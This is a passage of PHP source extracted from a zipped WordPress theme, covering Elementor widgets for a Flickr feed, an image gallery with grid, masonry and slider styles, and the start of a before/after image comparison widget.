				'type'        => Controls_Manager::SELECT2,
				'default'     => array( 'username', 'time', 'caption' ),
				'multiple'    => true,
				'options'     => array(
					'username' => __( 'Username', 'soledad' ),
					'time'     => __( 'Time', 'soledad' ),
					'caption'  => __( 'Caption', 'soledad' ),
				),
				'condition'   => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);
		$this->add_control(
			'slidespeed', array(
				'label'     => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 600,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->add_control(
			'controls', array(
				'label'   => __( 'Slider Navigation Controls', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'prev_next',
				'options' => array(
					'none'       => __( 'None', 'soledad' ),
					'prev_next'  => __( 'Prev & Next', 'soledad' ),
					'numberless' => __( 'Dotted', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'caption_words', array(
				'label'     => __( 'Number of words in caption', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 100,
				'condition' => array( 'template' => array( 'slider', 'slider-overlay' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/flickr_feed.php';

		$settings = $this->get_settings();

		$instance_df = array(
			'title'            => '',
			'username'         => '',
			'attachment'       => 0,
			'template'         => 'thumbs',
			'images_link'      => 'image_url',
			'custom_url'       => '',
			'orderby'          => 'rand',
			'images_number'    => 9,
			'columns'          => 3,
			'refresh_hour'     => 12,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'animation'        => 'slide',
			'caption_words'    => 100,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$instance  = shortcode_atts( $instance_df, $settings );
		$css_class = 'penci-block-vc penci_flickr_image_feed penci_instagram_widget-sc penci_instagram_widget penci_insta-' . $instance['template'];
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
				<?php \Penci_Flickr_Feed::display_images( $instance ); ?>
            </div>
        </div>
		<?php
	}
}
PK     1w\]"  "  0  elementor/modules/penci-image-gallery/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciImageGallery;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-image-gallery';
	}

	public function get_widgets() {
		return array( 'PenciImageGallery' );
	}
}
PK     1w\ "Xi  Xi  E  elementor/modules/penci-image-gallery/widgets/penci-image-gallery.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciImageGallery\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciImageGallery extends Base_Widget {

	public function get_name() {
		return 'penci-image-gallery';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Image Gallery', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Image Gallery', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_gallery', array(
				'label'      => __( 'Add Images', 'soledad' ),
				'type'       => Controls_Manager::GALLERY,
				'show_label' => false,
			)
		);
		$this->add_control(
			'gallery_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1'               => esc_html__( 'Style 1 ( Grid )', 'soledad' ),
					's2'               => esc_html__( 'Style 2 ( Mixed )', 'soledad' ),
					's3'               => esc_html__( 'Style 3 ( Mixed 2 )', 'soledad' ),
					'justified'        => esc_html__( 'Style 4 ( Justified )', 'soledad' ),
					'masonry'          => esc_html__( 'Style 5 ( Masonry )', 'soledad' ),
					'single-slider'    => esc_html__( 'Style 6 ( Slider )', 'soledad' ),
					'thumbnail-slider' => esc_html__( 'Style 7 ( Slider with Thumbnail )', 'soledad' ),
				)
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'penci_img',
				'exclude'   => array( 'custom' ),
				'separator' => 'none',
				'default'   => 'medium_large',
				'condition' => array( 'gallery_style' => array( 's1', 's2', 's3' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(), array(
				'name'      => 'penci_img_bitem',
				'label'     => __( 'Image Size for Big Items', 'soledad' ),
				'exclude'   => array( 'custom' ),
				'separator' => 'none',
				'default'   => 'large',
				'condition' => array( 'gallery_style' => array( 's2', 's3' ) ),
			)
		);

		$this->add_control(
			'penci_img_type', array(
				'label'                => esc_html__( 'Image Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => 'landscape',
				'options'              => array(
					''          => __( '-- Default --', 'soledad' ),
					'landscape' => __( 'Landscape', 'soledad' ),
					'vertical'  => __( 'Vertical', 'soledad' ),
					'square'    => __( 'Square', 'soledad' ),
					'custom'    => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors_dictionary' => array(
					'landscape' => '66.6667%',
					'vertical'  => '135.4%',
					'square'    => '100%',
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => ' padding-top: {{VALUE}}' ),
				'condition'            => array( 'gallery_style' => array( 's1', 's2', 's3' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_img_type' => 'custom' ),
			)
		);

		$this->add_responsive_control(
			'penci_thumbnails_ratio', array(
				'label'          => __( 'Thumbnails Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 1 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 1 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .pcgl-thumb-item .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'gallery_style' => 'thumbnail-slider' ),
			)
		);

		$this->add_control(
			'caption_source', array(
				'label'   => __( 'Caption', 'elementor' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'none'       => __( 'None', 'elementor' ),
					'attachment' => __( 'Attachment Caption', 'elementor' ),
				),
				'default' => 'attachment',
			)
		);

		$this->add_responsive_control(
			'gallery_columns', array(
				'label'          => __( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '1',
				'options'        => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'condition'      => array( 'gallery_style' => array( 's1', 'masonry' ) ),
			)
		);
		$this->add_control(
			'row_gap', array(
				'label'     => __( 'Rows Gap', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-row-gap: {{SIZE}}px' ),
				'condition' => array( 'gallery_style' => array( 's1' ) ),
			)
		);
		$this->add_responsive_control(
			'col_gap', array(
				'label'     => __( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-column-gap: {{SIZE}}px' ),
				'condition' => array( 'gallery_style' => array( 's1' ) ),
			)
		);

		$this->add_control(
			'gallery_height', array(
				'label'     => __( 'Custom the height of images', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'justified', 'masonry' ) ),

			)
		);

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section( 'section_slider_options', array(
			'label' => __( 'Slider Options', 'soledad' ),
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'single_slider_effect', array(
			'label'       => __( 'Slider Effect', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_fslider_single_slider_effect', 'creative' ),
			'options'     => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'loop', array(
			'label'     => __( 'Slider Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'speed', array(
			'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 600,
			'render_type' => 'template',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
			'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show Dots Navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'slideTo', array(
			'label' => __( 'Start the slider from the slide Number', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'slidespg', array(
			'label' => __( 'Slides Per Group', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->end_controls_section();
		
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Gallery', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'p_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-gallery-item i, {{WRAPPER}} .pcslick-nav button, {{WRAPPER}} .slider-num' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_icon_size', array(
				'label'      => __( 'Icon Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'size_units' => array( 'px' ),
				'selectors'  => array( '{{WRAPPER}} .penci-gallery-item i, {{WRAPPER}} .pcslick-nav button i' => 'font-size: {{SIZE}}{{UNIT}};' ),
			)
		);
		$this->add_control(
			'p_overlay_bgcolor',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-gallery-item a::after' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_bg_bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'thumbnail-slider' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-post-gallery-container' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_bd_bgcolor',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'thumbnail-slider' ) ),
				'selectors' => array( '{{WRAPPER}} .pcgl-thumb-slider' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function get_slider_data( $settings ) {
		

		$output = '';

		
		$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
		$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
		$output         .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';

		
		$output .= ' data-seffect="' . $settings['single_slider_effect'] . '"';
		$output .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$output .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
		$output .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
		$output .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
		$output .= $settings['slidespg'] ? ' data-slidespg="'.$settings['slidespg'].'"' : '';
		$output .= $settings['slideTo'] ? ' data-slideTo="'.$settings['slideTo'].'"' : '';

		return $output;
	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		if ( ! $settings['penci_gallery'] ) {
			return;
		}

		$style_gallery        = $settings['gallery_style'];
		$penci_img_size       = $settings['penci_img_size'];
		$penci_img_size_bitem = $settings['penci_img_bitem_size'];
		$penci_img_type       = isset( $settings['penci_img_type'] ) ? $settings['penci_img_type'] : '';

		$css_class = 'penci-block-vc penci-image-gallery';
		$css_class .= ' penci-image-gallery-' . $style_gallery;

		if ( 's1' == $style_gallery ) {
			$column_desktop = isset( $settings['gallery_columns'] ) && $settings['gallery_columns'] ? $settings['gallery_columns'] : '3';
			$column_tablet  = isset( $settings['gallery_columns_tablet'] ) && $settings['gallery_columns_tablet'] ? $settings['gallery_columns_tablet'] : '2';
			$column_mobile  = isset( $settings['gallery_columns_mobile'] ) && $settings['gallery_columns_mobile'] ? $settings['gallery_columns_mobile'] : '1';
			$css_class      .= ' pencisc-grid-' . $column_desktop;
			$css_class      .= ' pencisc-grid-tablet-' . $column_tablet;
			$css_class      .= ' pencisc-grid-mobile-' . $column_mobile;
		}

		if ( 'attachment' != $settings['caption_source'] ) {
			$css_class .= ' penci-image-not-caption';
		}

		$images    = wp_list_pluck( $settings['penci_gallery'], 'id' );
		$total_img = is_array( $images ) ? count( (array) $images ) : 0;

		$slider_id      = rand( 1000, 100000 );
		$block_id       = 'penci-image_gallery_' . $slider_id;
		$thumbnail_html = '';
		?>
        <div data-sliderid="<?php echo esc_attr( $slider_id ); ?>" id="<?php echo esc_attr( $block_id ); ?>"
             class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content <?php echo esc_attr( 's1' == $style_gallery ? ' pencisc-grid' : '' ); ?>">
				<?php
				$gal_2_i = $gal_count = 0;

				if ( 's2' == $style_gallery ) {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}

						$class_item         = 'penci-gallery-small-item';
						$penci_img_size_pre = $penci_img_size;
						if ( $gal_count == 1 ) {
							$penci_img_size_pre = $penci_img_size_bitem;
							$class_item         = 'penci-gallery-big-item';
						}
						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size_pre, $penci_img_type, true, $gal_count, $class_item, $settings['caption_source'] );

						if ( $gal_count == 1 ) {
							echo '<div class="penci-post-smalls">';
						}

						if ( 5 == $gal_count || $gal_2_i == $total_img ) {
							$gal_count = 0;
							echo '</div>';
						}
					}
				} elseif ( 's3' == $style_gallery ) {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}

						$class_item = 'penci-gallery-small-item';
						if ( $gal_count == 1 || $gal_count == 2 ) {
							$penci_img_size = $penci_img_size_bitem;
							$class_item     = 'penci-gallery-big-item';
						}

						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, $class_item, $settings['caption_source'] );

						if ( 5 == $gal_count || $gal_2_i == $total_img ) {
							$gal_count = 0;
						}
					}
				} elseif ( 'justified' == $style_gallery || 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					$data_height = '150';

					if ( is_numeric( $settings['gallery_height'] ) && 60 < $settings['gallery_height'] ) {
						$data_height = $settings['gallery_height'];
					}

					echo '<div class="penci-post-gallery-container ' . $style_gallery . ' column-' . $settings['gallery_columns'] . '" data-height="' . $data_height . '" data-margin="3">';

					if ( 'masonry' == $style_gallery ) {
						echo '<div class="inner-gallery-masonry-container">';
					}

					if ( 'single-slider' == $style_gallery ) {
						$slider_data = $this->get_slider_data($settings);
						echo '<div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"'.$slider_data.'><div class="swiper-wrapper">';
					}

					$posts = get_posts( array(
						'include'   => $images,
						'post_type' => 'attachment',
						'orderby'   => 'post__in'
					) );

					if ( $style_gallery == 'thumbnail-slider' ):
						echo '<div data-id="pcthumb-m-' . $slider_id . '" class="penci-slick-carousel swiper pcthumb-s-msl pcthumb-m-' . $slider_id . '"><div class="swiper-wrapper">';
					endif;

					if ( $posts ) {
						foreach ( $posts as $imagePost ) {
							$caption       = '';
							$gallery_title = '';
							if ( $imagePost->post_excerpt ):
								$caption = $imagePost->post_excerpt;
							endif;

							if ( $caption && 'attachment' == $settings['caption_source'] ) {
								$gallery_title = ' data-cap="' . esc_attr( $caption ) . '"';
							}

							$get_full    = wp_get_attachment_image_src( $imagePost->ID, 'full' );
							$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-masonry-thumb' );
							$thumbsize   = 'penci-masonry-thumb';

							$image_alt        = penci_get_image_alt( $imagePost->ID, get_the_ID() );
							$image_title_html = penci_get_image_title( $imagePost->ID );

							$class_a_item = 'penci-gallery-ite';
							if ( 'masonry' != $style_gallery ) {
								$class_a_item = 'penci-gallery-ite item-gallery-' . $style_gallery;
							}

							if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' || $style_gallery == 'thumbnail-slider' ) {
								$class_a_item .= ' item-link-relative';
							}

							if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
								echo '<figure class="swiper-slide">';
								$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-full-thumb' );
								$thumbsize   = 'penci-full-thumb';
							}
							if ( 'masonry' == $style_gallery ) {
								echo '<div class="item-gallery-' . $style_gallery . '">';
							}
							echo '<a class="' . $class_a_item . ( 'attachment' != $settings['caption_source'] ? ' added-caption' : '' ) . '" href="' . $get_full[0] . '"' . $gallery_title . ' data-rel="penci-gallery-image-content" data-idwrap="' . esc_attr( $block_id ) . '">';

							if ( 'masonry' == $style_gallery ) {
								echo '<div class="inner-item-masonry-gallery">';
							}

							if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' || $style_gallery == 'thumbnail-slider' ) {
								echo penci_get_ratio_img_basedid( $imagePost->ID, $thumbsize );
							}

							echo '<img src="' . $get_masonry[0] . '" alt="' . $image_alt . '"' . $image_title_html . '>';

							if ( $style_gallery == 'justified' && $caption && 'attachment' == $settings['caption_source'] ) {
								echo '<div class="caption">' . wp_kses( $caption, array(
										'em'     => array(),
										'strong' => array(),
										'b'      => array(),
										'i'      => array()
									) ) . '</div>';
							}
							if ( 'masonry' == $style_gallery ) {
								echo '</div>';
							}

							echo '</a>';

							// Close item-gallery-' . $style_gallery . '-wrap
							if ( 'masonry' == $style_gallery ) {
								echo '</div>';
							}

							if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
								if ( $caption && 'attachment' == $settings['caption_source'] ) {
									echo '<p class="penci-single-gallery-captions">' . $caption . '</p>';
								}
								echo '</figure>';
							}

							if ( $style_gallery == 'thumbnail-slider' ) {
								$get_thumbnail_slider_img = wp_get_attachment_image_src( $imagePost->ID, 'thumbnail' );
								$thumbnail_html           .= '<div class="pcgl-thumb-item swiper-slide"><div class="pcgl-thumb-item-img"><span class="penci-image-holder" style="background-image:url(' . $get_thumbnail_slider_img[0] . ')"></div></div>';
							}
						}
					}

					if ( 'masonry' == $style_gallery || 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
						echo '</div>';
					}

					if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
						echo '</div>';
					}

					if ($style_gallery == 'thumbnail-slider') {
						$nav = '<div class="penci-slick-carousel-top-nav"><div class="pcslick-nav-area"><div class="pcslick-nav"><button type="button" class="slick-prev"><i class="penciicon-left-chevron"></i></button><button type="button" class="slick-next"><i class="penciicon-right-chevron"></i></button></div><div class="slider-num"><span class="current">1</span>' . __(' of ', 'soledad') . '<span class="total">' . count($posts) . '</span></div></div></div>';
						echo '<div data-cols="7" data-total="'.count($posts).'" data-id="pcthumb-c-' . $slider_id . '" class="swiper pcthumb-s-csl pcgl-thumb-slider penci-slick-carousel pcthumb-c-' . $slider_id . '"><div class="swiper-wrapper">' . $thumbnail_html . '</div>'.$nav.'</div>';
					}

					echo '</div>';
				} else {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}
						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, '', $settings['caption_source'] );
					}
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     1w\$1j  j  0  elementor/modules/penci-image-compare/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciImageCompare;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-image-compare';
	}

	public function get_widgets() {
		return array( 'PenciImageCompare' );
	}
}
PK     1w\Ku/  /  E  elementor/modules/penci-image-compare/widgets/penci-image-compare.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciImageCompare\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciImageCompare extends Base_Widget {

	public function get_name() {
		return 'penci-image-compare';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Compare Before/After', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'image', 'compare', 'comparison', 'difference' ];
	}

	public function get_script_depends() {
		return [ 'penci-image-compare' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'before_image',
			[
				'label'       => esc_html__( 'Before Image', 'soledad' ),
				'description' => esc_html__( 'Use same size image for before and after for better preview.', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => [
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				],
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'after_image',
			[
				'label'       => esc_html__( 'After Image', 'soledad' ),
